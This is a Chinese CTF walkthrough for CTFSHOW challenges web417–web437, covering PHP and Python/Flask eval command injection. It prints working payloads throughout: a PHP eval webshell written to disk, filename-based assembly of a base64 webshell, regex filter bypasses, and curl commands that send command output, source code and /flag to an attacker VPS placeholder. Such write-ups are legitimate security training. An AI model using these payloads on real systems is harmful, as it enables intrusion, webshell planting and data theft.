当前位置: 首页 > news >正文

CTFSHOW | 其他篇题解(二)web417 - web437

文章目录

    • 前言
    • 题目列表
      • web417
      • web418
      • web419
      • web420
      • web421
      • web422
      • web423
      • web424
      • web425
      • web426
      • web427
      • web428
      • web429
      • web430
      • web431
      • web432
      • web433
      • web434
      • web435
      • web436
      • web437

前言

由于题目比较多,所以分三个部分来写,这是第二部分

题目列表

web417

有个3.php文件,下载后是一段加密代码,用ai解密

得到代码

include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){echo $flag;
}else{echo 'FLAG_NOT_HERE';
}
?>

GET传入

?ctf=show

成功得到flag

web418

先看代码

由于变量key已经被赋值为0,因此这个后门没什么用,需要另辟蹊径

然后我们可以看到有个extract函数,这是PHP里的一个函数调用。extract()作用是把数组里的键名当作变量名,在当前作用域创建同名变量,并赋值为数组的对应值。比如$_POST['wayne']=123时,extract($_POST);之后就有了变量$wayne=123

我们看这个代码

$die?die('FLAG_NOT_HERE'):clear($clear);

由于变量die没有被赋值,因此可以进行变量覆盖。这是三目运算符,我们可以传入0来触发后面的clear($clear)

继续往下划,可以看到clear函数的定义

给变量clear用分号截断命令即可,POST传入

die=0&clear=;echo '<?=eval($_POST[1]);?>'>/var/www/html/1.php

然后蚁剑连接

在网页根目录找到flag

web419

先看代码

这题要求POST传入参数code,且长度要小于17,然后eval执行php代码

咱们用反引号执行命令即可,把当前目录下的flag.php复制到1.txt

payload:

code=`cp f* 1.txt`;

然后打开1.txt读取flag即可

web420

先看代码

这次code长度被限制在8位以内,也就是7位,然后eval函数也换成了system。有几个方法可以做这题

方法一:nl输出

nl命令是Linux系统中的一个命令行工具,全称是“number lines”,用于给文本文件或标准输入的每一行添加行号,并将结果输出。它类似于cat -n,但nl对行号显示格式和处理方式更灵活

经过尝试,发现flag在/var/www目录里面

payload:

code=nl ../*

方法二:写文件并执行

非常妙的一个方法,强烈建议学习,参考文章:命令注入长度限制绕过

假设我们要写入webshell

目标是传入echo PD89ZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php;

先用重定向符创建文件,依次执行以下命令

>hp\;
>1.p\\
>d\>\\
>\-\\
>4\ \\
>e6\\
>bas\\
>=\|\\
>w=\\
>0pO\\
>bMV\\
>U1R\\
>1BP\\
>gkX\\
>hbC\\
>ZXZ\\
>PD89\\
>o\ \\
>ech\\

然后把这些文件名以时间倒序形式写入任意一个文件,例如0

ls -t>0

最后运行文件即可,会执行0里面的命令,然后在当前目录创建一个1.php

sh 0

连接蚁剑即可

成功找到flag

web421

先看代码

这次是要求code长度小于6,也就是长度为5

经过测试,发现flag就在当前目录。直接nl读取就可以

payload:

code=nl f*

然后打开源代码查看flag

web422

先看代码

相比上题,这题的code长度被限制在5以内

直接nl打印全部内容即可

payload:

code=nl *

然后查看网页源码

web423

打开源代码,可以看到提示

拼接code参数,一开始用PHP和直接执行命令都不行。经过测试,这个网站是python文件运行的,要用python代码执行

payload:

?code=os.popen('ls').read()

可以把原始代码打印出来看看

?code=os.popen('cat app.py').read()
from flask import Flask 
from flask import request 
import os app = Flask(__name__) 
@app.route('/') 
def app_index():code = request.args.get('code') if code: return eval(code) return 'where is flag?<!-- /?code -->' if __name__=="__main__": app.run(host='0.0.0.0',port=80)

执行命令获取flag即可

?code=os.popen('cat /flag').read()

web424

这题用?code=os.popen('ls').read()会报内部错误,既然执行命令不可以,我们试试直接用open函数读取文件

?code=open('app.py').read()

成功执行,得到网页源码

from flask import Flask
from flask import requestapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

可以看到,这次没有了os模块,没办法执行系统命令了,不过不影响我们读取文件

payload:

?code=open('/flag').read()

成功得到flag

web425

跟上题一样,先读取源代码看看

?code=open('app.py').read()
from flask import Flask
from flask import requestapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:if 'os' not in code:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

可以看到这题相比上题,过滤了code里面的os字符串,其他都是一样的,不影响我们做题

payload:

?code=open('/flag').read()

web426

上题的payload也能用,先看源码

?code=open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|popen')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

这题的正则匹配改了,简单解释一下

  • re.compile(r'os|popen') 创建了一个模式,表示“匹配 ospopen
  • 竖线 | 是“或”的意思
  • reg.match(code) 表示只从字符串开头匹配:
    • 如果字符串开头含 ospopen,匹配成功
    • 否则匹配失败(即 None

也就是开头不能包含os和popen,不过对我们影响不大

payload:

?code=open('/flag').read()

web427

可以继续用上题的payload,先看源码

?code=open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|popen|system')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

这题比上题多过滤了system,不影响做题

payload:

?code=open('/flag').read()

web428

可以继续用上题的payload看源码

?code=open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|popen|system|read')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

这题比上题多过滤了read,不过因为reg.match(code)匹配的是开头,所以对我们没有影响

payload:

?code=open('/flag').read()

web429

这题一开始用open('app.py').read()执行不了,猜测是某个地方被过滤了,经过尝试,在前面加个空格即可绕过限制

?code= open('app.py').read()

源代码:

from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

可以看到,这题过滤了open字符串,因为re.match()从字符串开头匹配,所以我们在前面加个空格即可绕过

payload:

?code= open('/flag').read()

web430

可以用上题的payload,先看源代码

?code= open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read|eval')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

这题把eval也过滤了,不过对我们没影响

payload:

?code= open('/flag').read()

web431

继续用上题的方法做就好,看看源码

?code= open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read|eval|str')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

这次多过滤了str,不影响做题

payload:

?code= open('/flag').read()

web432

这题用不了之前的方法了,看了网上其他师傅的做法,可以用类似SSTI模板注入的方法来做,构造一条命令执行的链子

由于os.system()不会把命令的输出结果返回给 Python 程序,所以我们用curl外带数据显示

payload:

?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))

简单解释里面的一些代码

__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')
  • __builtins__:是 Python 的一个内置模块,包含了所有内建函数和对象(如 print, str, dict 等)。它在任何 Python 代码中都可以直接访问

  • __dict__:这是 Python 对象的一个特殊属性,它是一个字典(dict),存储了该对象(这里是 __builtins__ 模块)的所有属性。键是属性名,值是属性本身

  • __builtins__.__dict__['__import__']:这部分代码通过字典键值查询的方式,从 __builtins__ 模块中获取了内建函数 __import__。这和直接写 __import__ 是一样的,但更隐蔽

  • __getattribute__:是 Python 对象的一个方法,用于获取对象的属性。os.__getattribute__('system') 的效果和 os.system 完全一样

%2b表示+号,目的是为了绕过正则匹配限制

我们可以通过curl把app.py内容转为base64编码外带到vps显示

?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`base64 -w 0 app.py`'))

默认情况下,base64 命令输出的编码字符串会在每 76 个字符后自动换行,所以我们不用cat app.py|base64,会显示不完整,我们用base64 -w 0 app.py即可,参数 -w 0表示取消换行

解码base64,成功得到网站源码

from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read|eval')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

可以看到之前的reg.match(code)改成了reg.search(code),意味着从检测开头变换到检测整个字符串

最后找flag就可以

payload:

?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`'))

得到的flag没有括号,自行加个括号就可以

web433

直接用上题的payload会不行,经过测试发现去掉builtins就可以了

?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))

也可以把so反转成os,[::-1] 是 Python 中字符串切片的写法,表示反转字符串。'so'[::-1]结果是 os

?code=str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))

老样子,我们看看源码,方法跟上题一样,base64带出来

from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read|eval|builtins')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

可以看到这题把builtins模块禁了,我们直接import就可以

payload:

?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`'))

web434

经过测试,发现这题是把curl过滤了,加个'%2b'在中间就可以

?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('cu'%2b'rl http://你的vps地址:端口?p=`ls`'))

我们看看源码

from flask import Flask
from flask import request
import reapp = Flask(__name__)def Q2B(uchar):"""单个字符 全角转半角"""inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符return ucharreturn chr(inside_code)def stringQ2B(ustring):"""把字符串全角转半角"""return "".join([Q2B(uchar) for uchar in ustring])@app.route('/')
def app_index():code = request.args.get('code')if code:code = stringQ2B(code)reg = re.compile(r'os|open|system|read|eval|builtins|curl')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

发现多了两个函数,用于将字符串中的全角字符转换为半角字符,然后后面调用 stringQ2Bcode 中的全角字符全部转为半角,返回结果重新赋值给 code,对我们影响不大

payload:

?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('cu'%2b'rl http://你的vps地址:端口?p=`cat /flag`'))

web435

测试发现是把下划线禁了,我们可以用web433提到的字符串切片方法来反转字符串

首先构建反转代码,我们可以直接引入os,然后调用里面的system函数,原始代码:import os; os.system("curl http://你的vps地址:端口?p=ls")

?code=str(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])

可以在网页看到原始代码

我们具体解释一下[::-1]代码,Python 的切片语法是:

sequence[start:stop:step]
  • start 是切片起始索引(包含该位置)
  • stop 是结束索引(不包含该位置)
  • step 是步长(跨越的索引间隔)

其中三个参数都可以省略

[::-1] 的含义:

  • startstop 都省略,表示从序列的头到尾
  • step-1 ,表示步长为-1,即反向遍历序列

这样会创建序列的反转副本,不改变原序列

然后我们用exec执行这串代码就可以

payload:

?code=str(exec(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

可以把它的源码爆出来看看

?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
from flask import Flask
from flask import request
import reapp = Flask(__name__)def Q2B(uchar):"""单个字符 全角转半角"""inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符return ucharreturn chr(inside_code)def stringQ2B(ustring):"""把字符串全角转半角"""return "".join([Q2B(uchar) for uchar in ustring])@app.route('/')
def app_index():code = request.args.get('code')if code:code = stringQ2B(code)reg = re.compile(r'os|open|system|read|eval|builtins|curl|_')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

最后我们找flag就可以

payload:

?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

web436

可以继续用上题的方法

我们把源码爆出来看看

from flask import Flask
from flask import request
import reapp = Flask(__name__)def Q2B(uchar):"""单个字符 全角转半角"""inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符return ucharreturn chr(inside_code)def stringQ2B(ustring):"""把字符串全角转半角"""return "".join([Q2B(uchar) for uchar in ustring])@app.route('/')
def app_index():code = request.args.get('code')if code:code = stringQ2B(code)reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

可以看到这题把getattr过滤了,不过不影响我们做题,步骤跟上题一样

payload:

?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

web437

跟上题一样的方法

爆出源码看看

from flask import Flask
from flask import request
import reapp = Flask(__name__)def Q2B(uchar):inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: return ucharreturn chr(inside_code)def stringQ2B(ustring):return "".join([Q2B(uchar) for uchar in ustring])@app.route('/')
def app_index():code = request.args.get('code')if code:code = stringQ2B(code)if '\\u' in code:return 'hacker?'reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)

多了个if '\\u' in code\\u 是一种表示 Unicode 编码字符 的转义序列

具体说明:

  • 在字符串里,\u 后面跟着 4 位十六进制数字,用来表示一个 Unicode 字符的编码
  • 比如 \u4f60 表示汉字 “你”,\u597d 表示汉字 “好”
  • 这种写法在很多编程语言和数据格式(如 JSON)中都用来表达非 ASCII 字符

这次过滤对我们影响不大,可以继续用上题的步骤

payload:

?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
http://www.dtcms.com/a/343863.html

相关文章:

  • 进程间通信-IPC机制
  • 【开发日记】SpringBoot 实现支持多个微信小程序的登录
  • 初始数据结构——反射、枚举与Lambda的奇幻冒险
  • 如何理解AP服务发现协议中“如果某项服务需要在多个网络接口上提供,则应为每个网络接口使用一个独立的服务器服务实例。”?
  • 《Linux 网络编程一:网络编程导论及UDP 服务器的创建与数据接收》
  • “我 / 店模式” 靠联盟 + 积分破局,实现三方共赢!
  • 【Oracle】内存管理实战指南:ASMM vs AMM 配置全解析
  • Rust Web开发指南 第一章
  • 服务发现实例和服务实例是不同的
  • 血管介入医疗AI发展最新方向与编程变革:从外周、神经到冠脉的全面解析
  • RabbitMQ面试精讲 Day 27:常见故障排查与分析
  • yggjs_rlayout使用教程 v0.1.0
  • Linux系统之Ubuntu安装cockpit管理工具
  • Jenkins发布spring项目踩坑——nohup java -jar发布后显示成功,但实际jps查询并未运行
  • React 学习笔记1 组件、State
  • 【Tech Arch】Hadoop YARN 大数据集群的 “资源管家”
  • 企业级知识库+智能客服地大模型对比表
  • 实现自己的AI视频监控系统-第一章-视频拉流与解码4(重点)
  • MATLAB启动路径MATLAB202X/bin更改问题
  • 【Python】-- 机器学习项目 - 基于逻辑回归算法的乳腺癌数据集分类
  • 理解AI 智能体:智能体架构
  • DAY14-新世纪DL(DeepLearning/深度学习)战士:破(优化算法)2
  • k8sday14数据存储(2/2)
  • BigData大数据应用开发学习笔记(03)离线处理--数据仓库Hive
  • 直播预约 | CATIA MODSIM SmartCAE带练营第3期:让每轮设计迭代都快人一步!
  • 【C语言16天强化训练】从基础入门到进阶:Day 6
  • 前端查漏补缺
  • 图表组件SciChart WPF再升级:v8.9带来油气井图、新交互与可视化增强
  • PDF文档安全升级:三招实现文本转曲线(防篡改+高清输出)
  • WPF控件随窗体大宽度高度改变而改变